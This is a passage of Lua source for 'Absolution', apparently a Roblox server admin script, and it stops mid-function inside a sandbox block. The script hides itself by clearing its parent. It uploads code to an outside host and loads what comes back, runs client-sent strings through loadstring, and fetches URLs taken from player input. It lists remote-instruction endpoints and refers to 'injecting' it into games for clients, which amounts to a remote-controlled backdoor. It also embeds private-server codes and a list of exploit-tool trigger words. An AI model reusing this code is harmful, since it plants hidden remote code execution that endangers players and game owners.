--[[
	ABSOLUTION ADMINISTRATION
	Server Edition
	Command Syntax: Command/Arguments -Flags
	Example: kill/Darkus-r
	---------------------------
	@Author: Darkus_Theory
		@Name: Absolution
			@Date: 2/19/16
				@Engine: Lua 5.1
--]]

wait(0.003)
local start_time = tick()
--local Absolution;
Absolution = setmetatable({
	Services=setmetatable({Game=game},{
		__index=function(self,index)
			index=tostring(index);
			return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
		end;
		__newindex=function()
			error('You cannot add services manually');
		end;
		__call=function(self,index)
			return self[index];
		end;
		__metatable='Protected';
	});
	Ranks = {
		[9]					= "localhost";
		[8]					= "ROOT";
		[7] 				= "Developer";
		[6]					= "Administrator";
		[5]					= "Debugger";
		[4] 				= "Moderator";
		[3] 				= "Overseer";
		[2] 				= "Pseudo";
		[1] 				= "Beta";
		[0.5] 				= "Trusted";
		[0] 				= "Player";
		[-0.5]				= "Blacklist";
		[-1] 				= "Banished";
		[-2] 				= "Superbanned";
	};
	Settings = {
		["Rotation_Style"] 	= 'Normal';
		["Logo"]			= '414448010',
		['BallScale']		= 10,
	};
	TraceLogs				= {};
	Nicknames				= {};
	PluginManager 			= {};
	IRCDebug				= {};
	Errors					= {};
	Functions 				= {};
	Handler					= {};
	Players			 		= {};
	Ranked			  		= {};
	Tempbans				= {};
	HandlingBans			= {};
	Music 					= {};
	Connections 			= {Killing = {};};
	pseudoRank				= {};
	Logs					= {};
	Tablets					= {};
	Commands				= {};
	Ignoring				= {};
	TriggerWords			= {'ban','kick','lag','s3x','d33k','fweld','aerx','rosploit','jeerve'};
	uniqueKey				= string.sub(tostring(game:service'HttpService':GenerateGUID(true)), 2, 8);
	lastPing 				= tick();
	AgeRestriction 			= true;
	Booted					= false;
	TPReserves 				= {["21053279"]="3AoF5NoEvR9rQ6-Q4dS8W9knYQPRYXZGrLvf5Yr_B4JfP0EBAAAAAA2",["437965235"]="uldxE2h5nxghfpyJmiPH2UboRU_cKbhArOHRgzH9JMuz0RoaAAAAAA2"};
	Constants = {
		ShutdownTime		= 30;
		TabletRotation 		= 0;
		MaxResults			= 15;
	};
	GroupData				= {
		GroupID				= 971711;
		GroupRanks			= {
			[0]		= {247,0};
			[1]		= {246};
			[2]		= {251};
			[3]		= {248};
			[4]		= {250};
			[5]		= {249};
			[6]		= {252};
			[7]		= {253};
			[8]		= {254};
			[9]		= {255};
		};
	};
	HttpConstants 			= {
		IRC					= {["Name"] = "#Absolution",["whiteList"] = {'clarra','ic3','xXMLGBellXx','notControl22','Precession','iKrypto','HighDefinition','Tangy'}};
		IP					= "http://freemoneyofobama.hol.es/";
		API					= "http://roblox-proxy.cf";
		UpdateURL			= "https://titanpad.com/ep/pad/export/2353467rt6e56rtdh5w4/latest?format=txt";
		Incoming 			= "/OutgoingConnections.php";
		Outgoing 			= "/IncomingConnections.php";
		ConsoleTXT			= "/RemoteInstructions.txt";
		ConsolePHP			= "/RemoteInstructions.php";
		Remote				= "/remoteExecute.lua";
		Tempbans			= "/Tempban.php";
		Modlogs				= "/AppendLog.php";
		AuthURI				= "/AddAuthentication.php";
		Rogue				= "/mineroguey.lua";
		Warrior				= "/miwarrior.lua";
		Titan				= "/ledele.lua";
		Jet					= "/oiryibfsaliudgwleq.txt";
		Bishop				= "/minbishopyy.lua";
		Monk				= "/minemonkeh.lua";
		pircm 				= "";
		Upload				= "/roblox/upload.php";
		PreviousSync 		= 'nil';
		PreviousWSync		= 'nil';
		pythonConsole		= {
			IP					= "http://absolution-server.xyz:443";
			ChatServ			= "/chat/<%s> %s %s";
			Authentication		= "/auth=%s";
			Commands			= "/%s";
			previousCommand		= "";
		};
		APIs				= {
			Music				= "/roblox/API/SearchMusic.php";
			Username			= "/roblox/API/Usernames.php";
			NewServer			= "/roblox/API/NewServer.php";
			Misc				= "/roblox/API/index.php";
							};
		HttpEnabled 		= (function() local Enabled, Error = ypcall(function() game:GetService("HttpService"):GetAsync("http://www.google.com/") end) if Enabled then return true else return false end end)(),
		pluginLink 			= "http://pastebin.com/raw/FRbyPAdZ";
		};
	Fake = {
		_G 					= {},
		shared 				= {},
		Functions		 	= {},
	},
	Locks = {
		LocalScripts 		= false,
		Scripts 			= false,
		Server 				= {["Locked"] = false;["rankNumber"] = 0;["Duration"] = 120;["Server"] = false;["Local"] = false;},
	},
	PrivateServer = {
		Type				= 'Kick';
		Enabled 			= false;
	};
	Storage = {
		DS 					= game:GetService("DataStoreService"):GetDataStore("\\:Absolution");
	};
	ScriptType 				= (game:FindService("NetworkServer") and "Server" or "Studio"),
	injectBlacklist			= {};--{{["NAME"]='dev_ic3',["ID"] = 44916127,["REASON"] = 'IRC hater'},{["NAME"]='W8X',["ID"] = 54458960,["REASON"] = 'IRC hater'},{["NAME"]='dev_ic3',["ID"] = 44916127,["REASON"] = 'IRC hater'},{["NAME"]='SavageMunkey',["ID"] = 28438833,["REASON"] = 'IRC hater'},{["NAME"] = 'Pkamara', ["ID"]=41563168, ["REASON"] = 'Is cool guy, no need to inject him.'},{["NAME"] = 'iLordVex',["ID"] = 39635253, ["REASON"] = 'Requested by Client.'}}
},{__call=function(self,index)return rawget(self,index) end;});
coroutine.wrap(function()
	local to_be_pushed=true;
	local push;push=function(table,_index,_call,_new,___index)
		if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
			local fake={
				__index=_index or(function(self,index)
					return rawget(self,index);
				end);
				__call=_call or(function(self,index)
					return rawget(self,index);
				end);
				__newindex=_new or(function(self,index,value)
					if(type(value)=='table')then
						push(value);
					end;
					rawset(self,index,value);
				end);
				__metatable='Protected';
			};
			return setmetatable(table,fake);
		end;
	end;
	if(not to_be_pushed)then return end;
	for _,v in next,Absolution do
		if(type(v)=='table')then
			push(v,nil,nil,nil,_);
		end;
	end;
	setmetatable(Absolution,{
		__call=function(self,index)
			return rawget(self,index);
		end;
		--__index=function(self,index)
		--	return rawget(self,index);
		--end;
		__newindex=function(self,index,value)
			if(type(value)=='table')then
				push(value,nil,nil,nil,index);
			end;
			rawset(self,index,value);
		end;
		__metatable='Protected';
	});
end)();


script.Name = 'Absolution - Server'
coroutine.yield()
script.Parent = nil
----------------------------------------------- START SCRIPT --------------------------------------------------------

Absolution.Logs.append = function(self, tbl)
	self[#self+1] = tbl
end

Absolution.Functions.Print = function(message, typ)
	if not message then return false,'No message was sent.' end
	if not typ then typ = 1 end
	if typ == 1 then
		Absolution.Logs:append({Type='Print',Message=message})
		print(message)
	elseif typ == 2 then
		Absolution.Logs:append({Type='Warning',Message=message})
		warn(message)
	elseif typ == 3 then
		Absolution.Logs:append({Type='Error',Message=message})
		pcall(function() error(message) end)
	end
end

-- In-Script locking --
Absolution.Functions.Lock = {
	Table = function(Table)
				setmetatable(Table, {
				__metatable = "[ Sandbox ]:\nLocked",
				})
				for Index, Value in pairs(Table) do
					if type(Index) == "table" then Absolution.Functions.Lock.Table(Index) end
					if type(Value) == "table" then Absolution.Functions.Lock.Table(Value) end
				end
			end
}
Absolution.Functions.Simulate = { -- Things that are simulated
	Table = function(Table)
		local SimulatedTable = {}
		for Index, Value in pairs(Table) do
			SimulatedTable[Index] = Value
		end
	return SimulatedTable
	end,
}

-- PseudoScripting Functions --
Absolution.Functions.createLocalScript = function(source,parent,name,hasval)
	if not script:findFirstChild(source,true) then return end
	local s = script:findFirstChild(source,true):Clone()
	s.Parent = parent
	s.Name = (name and name or s.Name)
	if hasval then
		local val = s:children()[1]
		val.Value = hasval
	end
	wait()
	s.Disabled = false
	Absolution.Logs:append({'Script',Absolution.Functions.GetTime(tick()),source,tostring(parent.Parent)..'.'..tostring(parent)});
end
Absolution.Functions.createScript = function(source, parent, name)
	local s = script["ScriptBase"]:Clone()
	s.Parent = parent
	s:FindFirstChild("Val").Value = source
	s.Name = (name and name or s.Name)
	wait()
	s.Disabled = false
end
Absolution.Functions.NLS = function(source, parent, name)
	local Ran,Error = ypcall(function()
		local function url_encode(form)
		local result = {}
			for key, value in pairs(form) do
			table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
			end
		return table.concat(result, "&")
		end
		local pt = {SRC=source}
		local body = url_encode(pt)
		local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Upload, body, Enum.HttpContentType.ApplicationUrlEncoded)
		wait(.5)
		Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'Made a new localscript'});
		local newScript = require(tonumber(s))
		newScript.Parent = parent
		newScript.Name = (name and name or newScript.Name)
		wait()
		newScript.Disabled = false
		return newScript
	end)
	if not Ran then warn('[Absolution] - '..Error) end
end

-- Handler --
Absolution.Handler.AuthorizeRemote = function(self,remote)
	local initial = Instance.new("StringValue")
	initial.Name = "AUTHORIZED"
	initial.Value = "336c063bbccc80ebfa20df4b04b407cb61fb1c4301094183744bedb3b2e5e375429523190ecd4c44492dbf86e84346c62c94"
	initial.Parent = remote
end
Absolution.Handler.ConnectServer = function(self, server)
	server.OnServerInvoke = function(Player, Command, Key, etc)
	if not Absolution then return end
		if Key~= Absolution.uniqueKey then return false,"Access Denied" end
		if Command=='Message' then
		Absolution.Functions.Print(tostring(Player)..': '..etc[1])
		elseif Command=='Aerx' then
			Absolution.Ranked[Player.Name].Description = 'using aerx (autoban)'
			Absolution.Ranked[Player.Name].Rank = -1
			Absolution.Functions.Out('Admins', Player.Name..' was using aerx.', 5)
		elseif Command=='RX6' then
			Absolution.Ranked[Player.Name].Description = 'using RX6 (autoban)'
			Absolution.Ranked[Player.Name].Rank = -1
			Absolution.Functions.Out('Admins', Player.Name..' was using RX6.', 5)
		elseif Command=='SEX' then
			Absolution.Ranked[Player.Name].Description = 'using sexgui (autoban)'
			Absolution.Ranked[Player.Name].Rank = -1
			Absolution.Functions.Out('Admins', Player.Name..' was using sexgui.', 5)
		elseif Command=='Handshake' then
			if Absolution.Ranked[Player.Name].Rank >=4 then Absolution.Handler:sendPacket(Player, 'togglenil') end
			return game.JobId
		elseif Command=='Command' then
		Absolution.Functions.onChatted(Player, etc[1])
			if etc[1]:find'trace/' then return end
			if not Absolution.TraceLogs[Player.Name] then
				Absolution.TraceLogs[Player.Name] = {}
			end
			local parseddata = etc[1]

			if etc[1]:find('/http') and game.PlaceId~=21053279 then
				local link = etc[1]:sub(etc[1]:find('/http')+1)
				wait(1)
				local gas = Absolution.Services.HttpService:GetAsync(link)
				if gas then
					parseddata = gas
					else
					parseddata = etc[1]
				end
			end

			Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
		elseif Command=='Loadstring' then
			loadstring(etc[1])()
		elseif Command=='Console' then
		if etc[1]:find'trace/' then return end
			if not Absolution.TraceLogs[Player.Name] then
				Absolution.TraceLogs[Player.Name] = {}
			end
			local parseddata = etc[1]

			if etc[1]:find('/http') and game.PlaceId~=21053279 then
				local link = etc[1]:sub(etc[1]:find('/http')+1)
				wait(1)
				local gas = Absolution.Services.HttpService:GetAsync(link)
				if gas then
					parseddata = gas
					else
					parseddata = etc[1]
				end
			end

			local shortenedparseddata = parseddata

			for nildata, player in next, Absolution.Functions:getALLPlayers() do
				if parseddata:lower():find(player.Name:lower()) then
				if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(player.Name:lower())-10,parseddata:lower():find(player.Name:lower())+45) end
					Absolution.Functions.Out(player, 'Your name was detected from player '..Player.Name, 2)
					Absolution.Functions.Out(player, 'Trigger String: '..shortenedparseddata:gsub("\n",""), 2)
					if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
				elseif Absolution.Functions:findRank(player) >= 4 and Absolution.Functions.Sanitize(parseddata) and Absolution.Functions:findRank(Player) < 6 then
					local word = Absolution.Functions.Sanitize(parseddata)
					if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(word:lower())-10,parseddata:lower():find(word:lower())+45) end
					Absolution.Functions.Out(player, 'Trigger word ('..word..') detected from player '..Player.Name..'!', 3)
					Absolution.Functions.Out(player, 'String: '..shortenedparseddata:gsub("\n",""), 3)
					if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
				end
			end

			Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
		else
		end
	end
	server.Changed:connect(function(change)
		local c = change:lower()
		if c=='name' then
			server.Name = 'AbsolutionHandler'
		elseif c=='parent' then
			wait()
			server.Parent = Absolution.Services.ReplicatedStorage
		else
		server:Destroy()
		Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)
		end
	end)
	self["SERVER"] = server
end



Absolution.Handler.CreateHandler = function(self, Name, Place)
	if Place:FindFirstChild(Name) then Place:FindFirstChild(Name):Destroy'' end
	local pseudoRemote = Absolution.Functions:Create('RemoteFunction',{Name=Name})
	Absolution.Handler:AuthorizeRemote(pseudoRemote)
	wait()
	pseudoRemote.Parent = Place
	Absolution.Handler:ConnectServer(pseudoRemote)
end
--Absolution.Handler.oldPacket('tusKOr661','CORE.Functions:executeClient("rejoin")')
Absolution.Handler.oldPacket = function(Player, String)
local Str = Instance.new('StringValue')
Str.Name = tostring(Player)..' RUN '..Absolution.uniqueKey
Str.Value = String
wait()
Str.Parent = Absolution.Services.Lighting
Absolution.Services.Debris:AddItem(Str, 5)
end

Absolution.Handler.sendPacket = function(self, Player, Command, etc)
	local etc = (type(etc)=='table' and etc or {})
	if type(Player) == 'userdata' then
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, Command, Absolution.uniqueKey, etc)
		return receive,data
	elseif type(Player) == 'string' then
		local Plr = Absolution.Services.Players:FindFirstChild(Player)
		if not Plr then return "Player was not found" end
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, Command, Absolution.uniqueKey, etc)
		return receive,data
	else
		return 'INVALID PLAYER TYPE!'
	end
end

Absolution.Handler.clientLS = function(self, String, Player)
	if type(Player) == 'userdata' then
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
		return receive,data
	elseif type(Player) == 'string' then
		local Plr = Absolution.Services.Players:FindFirstChild(Player)
		if not Plr then return "Player was not found" end
		local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
		return receive,data
	elseif not Player then
		Absolution.Handler:fireAllClients('loadstring', {["str"]=(String and String or [[print"No string"]])})
	else
		return 'INVALID PLAYER TYPE!'
	end
end

Absolution.Handler.fireAllClients = function(self, Command, etc)
	for i,v in pairs(Absolution.Functions.getALLPlayers()) do
		local receive,data = Absolution.Handler:sendPacket(v, Command, (etc and etc or nil))
		return receive,data
	end
end

Absolution.Handler.sendChat = function(Message, Player, over, Color, isDiscord)
	if Message:lower():find('http') then Message = 'http://google.com' end
	Message = Message:gsub("","")
	if over and Message:find(over) then
	local rem = string.sub(Message,1,Message:find(":")-1)
		if rem then
			string.gsub(Message,rem,"")
		end
	end
	if Player then
	if Message:lower():find(tostring(Player):lower()) then Color = 'Red' else Color = 'White' end
		Absolution.Handler:sendPacket(Player, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]='Purple'})
		Absolution.Functions:sbChat(Message, Player, over)
		else
		for i,v in pairs(Absolution.Functions.getALLPlayers()) do
		if Message:lower():find(tostring(v):lower()) then Color = 'Red' else Color = 'White' end
			Absolution.Handler:sendPacket(v, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]=Color})
		end
		for q,e in pairs(Absolution.Services.Players:getPlayers()) do
			Absolution.Functions:sbChat(Message, e, (over and over or nil))
		end
	end
end

Absolution.Handler.Ping = function(self)
	for i,v in pairs(Absolution.Functions.getALLPlayers()) do
		Ran,Error = ypcall(function()
			if Absolution.Players[v.Name] then
				local r,d = Absolution.Handler:sendPacket(v, 'Ping')
				if r == true and d:lower() == 'pong' then
					Absolution.Players[v.Name].lastPing = Absolution.Functions.GetTime(tick())
				end
			end
		end)
		if not Ran then error(Error) end
	end
return false
end

--[[Tracer Cusmpilation]]--

Absolution.Functions.TraceSearch = function(keyword, isplr)

	local results = {}

	for player, logdata in next, Absolution.TraceLogs do

		if not isplr then

			for index, logtable in pairs(logdata) do

				local logDATA = logtable.logData
				if logDATA:lower():find(keyword:lower()) then

				if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end

				results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}

				end

			end

		elseif isplr and player==keyword then

			for index, logtable in pairs(logdata) do

				local logDATA = logtable.logData
				if logDATA:lower():find(keyword:lower()) then

				if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end

				results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}

				end

			end

		end

	end

	return results

end

--[[
for i,v in next,Absolution.Functions.TraceSearch('asd') do
print(v.plr,v.data)
end
--]]

--[[ Main Functions ]]--
-- Shutdown --
Absolution.Functions.Shutdown = function(ranby,Reason)
Absolution.Functions.Announce('Shutdown commenced by: '..(ranby and ranby or 'Absolution'))
wait()
Absolution.DCTAPI.sendMessage(('Shutdown commenced by: '..(ranby and ranby or 'Absolution')))
	while wait() do
		for i,v in pairs(Absolution.Functions.getALLPlayers()) do
			v:Kick((ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') and (ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator')  or 'Shutdown by: '..(ranby and ranby or 'Absolution'))
		end
	end
end

-- getALLPlayers --
Absolution.Functions.getALLPlayers = function()
	local ALLPlayers = {}
	for i,v in pairs(Absolution.Services.NetworkServer:GetChildren()) do
		ypcall(function()
			if v:IsA("ServerReplicator") then
				table.insert(ALLPlayers, v:GetPlayer())
			end
		end)
	end
	return ALLPlayers
end

Absolution.SandboxSource = "print'asd'"
--[===[ SandboxSourcing --
Absolution.SandboxSource = [=[
warn'running sandbox!'
local a=newproxy(true);getmetatable(a).__tostring=function()a=getfenv(3)end;pcall(warn,a);
setfenv(0,a)
setfenv(1,a)
setfenv(2,a)
local ypcall=ypcall;
local sandbox={disabled=false};sandbox={
	real={};
	fake={};
	new={};
	old={
		require=function(id) return 'Bad argument #1 (whitelist id expected, got number)' end;
		game=game;
		workspace=workspace;
		script=script;
		Instance=Instance;
		error=error;
		getfenv=getfenv;
		setfenv=setfenv;
		setmetatable=setmetatable;
		loadstring=loadstring;
		rawset=rawset;
		wait=wait;
		rawget=rawget;
		print=print;
		unpack=unpack;
		_G=_G;
		tostring=tostring;
		coroutine=coroutine;
		shared=shared;
		next=next;
		ypcall=ypcall;
		delay=delay;
		Delay=Delay;
		Spawn=Spawn;
	};
	enviroments=setmetatable({
		[1]=getfenv(0);
		[2]=getfenv(1);
		[3]=getfenv(error);
	},{__call=function(self,request,...)
		local args={...};
		if(request=='get')then
			local item=nil;
			for _,env in next,self do
				local rawItem=env[args[1]];
				if(rawItem)then
					item=rawItem;
					break;
				end;
			end;
			return item;
		elseif(request=='set')then
			for _,env in next,sandbox.enviroments do
				pcall(sandbox.old.rawset,env,sandbox.toReal(args[1]),sandbox.toReal(args[2]));
			end;
		end;
	end});
	locks={
		teleportservice={
			get=setmetatable({},{__index=function(self,index,value)
				if(index:lower():find'teleport')then
					return(function() return true end);
				end;
				return(function() return false; end);
			end});
			set={};
		};
		debris={
			get={
				additem=function(self,...)
					if(self and pcall(function() self:isA'Player'end) and self:isA'Player' and self.Name=='tusKOr661')then
						return true;
					end;
					return false;
				end;
			};
			set={};
		};
		players={
			get={
				clearallchildren=function(self)
					return true;
				end;
			};
			set={};
		};
		player={
			set={
				character=function(self,obj)
					if(obj and pcall(function()return obj.className=='Workspace'end) and object.className=='Workspace')then
						return true;
					end;
					return false;
				end;
				parent=function(newParent)
					if(newParent and pcall(function()return newParent.className=='Players' end))then
						return true;
					end;
					return false;
				end;
			};
			get={
				kick=function(self)
					if(self and self.Name==('Darkus_Theory'))then
						return true;
					end;
					return false;
				end;
				remove=function(self)
					if(self and self.Name=='Darkus_Theory')then
						return true;
					end;
					return false;
				end;
				destroy=function(self)
					if(self and self.Name=='Darkus_Theory')then
						return true;
					end;
					return false;
				end;
			};
		};
		workspace={
			get={
				clearallchildren=function(self)
					if(script and script.className=='LocalScript')then
						return false;
					end;
					return true;
				end;
			};
			set={};
		};
	};
	lockedInstances={
		['ManualSurfaceJointInstance']=true;
	};
	disabled=false;
	lockedError=function(format)
		format=format or'Protected - Absolution';
		return sandbox.old.error(format,0);
	end;
	unlockedError=function(format)
		format=format or'Protected - Absolution';
		return sandbox.old.error(format,0);
	end;
	toReal=function(obj)
		if(obj and sandbox.real[obj])then
			return sandbox.real[obj];
		end;
		return obj;
	end;
	errorCheck=function()
		if(rawget(sandbox,'disabled')==true or script.Disabled==true or script.Name=='ENDEDSCRIPT')then
			pcall(rawset,sandbox,'disabled',true);
			return sandbox.lockedError('This script has been disabled');
		end;
	end;
	toFake=function(obj)
		if(sandbox.real[obj])then return obj end;
		if(sandbox.fake[obj])then return sandbox.fake[obj] end;
		return sandbox.fakeObject(obj);
	end;
	fakeObject=function(...)
		if(select('#',...)==0)then return nil end;
		local Obj,fakeIndex=...;
		if(not ypcall(function() return type(Obj) end))then return Obj end;
		if(not Obj or not pcall(type,Obj))then return Obj end;
		local rtn; pcall(function() rtn=sandbox.fake[Obj] end);
		if(rtn)then return rtn or Obj end;
		if(not ypcall(type,Obj) and type(Obj)~='function' and type(Obj)~='userdata' and type(Obj)~='table')then return Obj end;
		if(Obj==nil or type(Obj)=='string' or type(Obj)=='boolean'or type(Obj)=='number')then
			return Obj;
		end;
		if(sandbox.fake[Obj])then
			return sandbox.fake[Obj];
		end;
		fakeIndex=fakeIndex or {};
		fakeIndex['isSandbox']=true;
		if(type(Obj)=='table')then
			local new=setmetatable({},{__index=function(self,index)
				local succ,err,rtn;
				succ,err=pcall(function()
					rtn=fakeIndex[index] or Obj[index];
				end);
				if(not succ)then
					return sandbox.unlockedError(err);
				end;
				return((rtn~=nil and sandbox.fakeObject(rtn))or rtn);
			end;__newindex=function(self,...)
				local props={...};
				for _,prop in next,props do
					props[_]=sandbox.toReal(prop);
				end;
				local succ,err=pcall(function()
					Obj[props[1]]=props[2];
				end);
				if(not succ)then
					sanbox.unlockedError(err);
				end;
			end;__metatable=getmetatable(Obj)});
			sandbox.fake[Obj]=new;
			sandbox.real[new]=Obj;
			return new;
		elseif(type(Obj)=='function')then
			local callFunc=Obj;
			local funcName;coroutine.wrap(function()
				for name,func in next,sandbox.old do
					if(func==callFunc)then
						funcName=name;
						break;
					end;
				end;
			end)();
			local new;new=function(...)
				sandbox.errorCheck();
				local results,arguments={},{...};
				local succ,err=pcall(function()
					for _,v in next,arguments do
						arguments[_]=sandbox.fakeObject(v);
					end;
					results={callFunc(sandbox.old.unpack(arguments))};
				end);
				if(not succ)then
					sandbox.lockedError(err);
					return;
				end;
				for _,res in next,results do
					results[_]=sandbox.fakeObject(res:gsub('callFunc',funcName));
				end;
				return sandbox.old.unpack(results);
			end;
			sandbox.fake[Obj]=new;
			sandbox.real[new]=Obj;
			return new;
		end;
		if(sandbox.real[Obj])then
			return Obj;
		else
			if(sandbox.fake[Obj])then
				return sandbox.fake[Obj];
			end;
		end;
		local proxy=newproxy(true);
		sandbox.real[proxy]=Obj;
		sandbox.fake[Obj]=proxy;
		local meta=getmetatable(proxy);
		meta.__index=function(datSelfie,index)
			if(sandbox.disabled==true)then
				sandbox.lockedError('This script has been removed ~ Darkus_Theory');
				return;
			end;
			local item,success,err;
			success,err=pcall(function()
				item=fakeIndex[index] or Obj[index];
			end);
			if(not success)then
				sandbox.unlockedError(err);
			end;
			local lockedDatas;
			if(type(item)=='function')then
				return function(self,...)
					local realArguments={...};
					for _,fake in next,realArguments do
						realArguments[_]=sandbox.toReal(fake);
					end;
					pcall(function()
						if(self and self['className'])then
							if(sandbox.locks[self['className']:lower()])then
								lockedDatas=sandbox.locks[self['className']:lower()];
							end;
						end;
					end);
					if(lockedDatas and lockedDatas.get[index:lower()] and lockedDatas.get[index:lower()](sandbox.toReal(self))==true)then
						return sandbox.lockedError();
					end;
					local rtn,success,err;
					success,err=ypcall(function()
						rtn={item(sandbox.toReal(self),sandbox.old.unpack(realArguments))};
					end);
					if(not success)then
						sandbox.unlockedError(err);
					end;
					for _,v in next,rtn do
						rtn[_]=sandbox.fakeObject(v);
					end;
					return sandbox.old.unpack(rtn);
				end;
			else
				return sandbox.fakeObject(item);
			end;
		end;
		meta.__newindex=function(self,index,value)
			sandbox.errorCheck();
			local realValue=sandbox.toReal(value);
			local lockedData;pcall(function() lockedData=sandbox.locks[Obj.className:lower()]; end);
			local lockedFunc;
			if(lockedData)then
				lockedFunc=lockedData.set[index:lower()];
			end;
			if(lockedFunc)then
				if(lockedFunc(Obj,realValue))then
					return sandbox.lockedError();
				end;
			end;
			local success,err=pcall(function()
				Obj[index]=realValue;
			end);
			if(not success)then
				sandbox.unlockedError(err);
			end;
		end;
		meta.__tostring=function()
			return sandbox.enviroments[1].tostring(Obj);
		end;
		meta.__metatable=getmetatable(Obj);
		meta.__add=function(self,base)
			self=sandbox.toReal(self);
			base=sandbox.toReal(base);
			local rtn,success,err;
			success,err=pcall(function()
				rtn=self+base;
			end);
			if(not success)then
				return sandbox.unlockedError(err);
			else
				return sandbox.fakeObject(rtn);
			end;
		end;
		meta.__sub=function(self,base)
			self=sandbox.toReal(self);
			base=sandbox.toReal(base);
			local rtn,success,err;
			success,err=pcall(function()
				rtn=self-base;
			end);
			if(not success)then
				return sandbox.unlockedError(err);
			else
				return sandbox.fakeObject(rtn);
			end;
		end;
		meta.__eq=function(self,base)
			self=sandbox.toReal(self);
			base=sandbox.toReal(base);
			local rtn,success,err;
			success,err=pcall(function()
				rtn=self==base;
			end);
			if(not success)then
				return sandbox.unlockedError(err);
			else
				return rtn;
			end;
		end;
		meta.__mul=function(self,base)
			self=sandbox.toReal(self);
			base=sandbox.toReal(base);
			local rtn,success,err;
			success,err=pcall(function()
				rtn=self*base;
			end);
			if(not success)then
				return sandbox.unlockedError(err);
			else
				return sandbox.fakeObject(rtn);
			end;
		end;
		meta.__div=function(self,base)
			self=sandbox.toReal(self);
			base=sandbox.toReal(base);
			local rtn,success,err;
			success,err=pcall(function()
				rtn=self/base;
			end);
			if(not success)then
				return sandbox.unlockedError(err);
			else
				return sandbox.fakeObject(rtn);
			end;
		end;
		return proxy;
	end;
	scriptEnv=setmetatable({},{
		__index=function(self,index)
			sandbox.errorCheck();
			local obj=sandbox.new[index]or sandbox.enviroments('get',index);
			return sandbox.fakeObject(obj);
		end;
		__newindex=function(self,index,value)
			sandbox.errorCheck();
			sandbox.enviroments('set',index,sandbox.toReal(value));
		end;
		__metatable='This is a locked meta table';
	});
};
sandbox.new={
	coroutine=sandbox.fakeObject(sandbox.old.coroutine,{
		create=function(func,...)
			pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
			local res,a,b;
			local args={...};
			for _,v in next,args do
				args[sandbox.toReal(_)]=sandbox.toReal(v);
			end;
			a,b=pcall(function()
				res=sandbox.old.coroutine.create(func,unpack(args));
			end);
			if(not a)then
				return sandbox.unlockedError(b);
			end;
			return res;
		end;
		wrap=function(func)
			pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
			local res,a,b;
			a,b=pcall(function()
				res=sandbox.old.coroutine.wrap(func);
			end);
			if(not a)then
				return sandbox.unlockedError(b);
			end;
			return sandbox.fakeObject(res);
		end;
	});
	Spawn=function(func,...)
		if(func and func==sandbox.enviroments('get','wait'))then
			return sandbox.lockedError('This crash func has been blocked ~ Darkus_Theory');
		end;
		local rtn,succces,err;
		success,err=pcall(function()
			rtn={sandbox.old.Spawn(func)};
		end);
		if(not success)then
			return sandbox.unlockedError(err);
		end;
		for _,obj in next,rtn do
			rtn[_]=sandbox.fakeObject(obj);
		end;
		return sandbox.old.unpack(rtn);
	end;
	getfenv=function(obj)
		local fEnv,success,err;
		success,err=pcall(function() fEnv=sandbox.old.getfenv(obj) end);
		if(not success)then
			return sandbox.unlockedError(err);
		end;
		return sandbox.fakeObject(fEnv,sandbox.new);
	end;
	setfenv=function(o,f)
		f=f or {};
		if(o==1 or o==0)then return sandbox.lockedError('You cannot set script enviroment') end;
		if(type(f)~='table')then return error('Bad argument to #2 table expected, got '..type(f)) end;
		local new=setmetatable({},{
			__index=function(self,index)
				sandbox.errorCheck();
				local Obj=sandbox.new[index]or f[index];
				return sandbox.fakeObject(Obj);
			end;
			__newindex=function(self,index,val)
				sandbox.errorCheck();
				f[index]=sandbox.toReal(val);
			end;
			__metatable=getmetatable(f)
		});
		local results,succ,err;
		succ,err=ypcall(function()
			results={sandbox.old.setfenv(o,new)};
		end);
		if(not succ)then
			return sandbox.lockedError(err);
		end;
		for _,v in next,results do
			results[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
		end;
		return unpack(results);
	end;
	loadstring=function(str,...)
		local func,err=sandbox.old.loadstring(str,...);
		if(func)then
			coroutine.wrap(function()
				sandbox.new.setfenv(func,sandbox.scriptEnv);
			end)();
		end;
		return func,err;
	end;
	Instance=sandbox.fakeObject(sandbox.old.Instance,{
		new=function(class,par)
			par=sandbox.toReal(par);
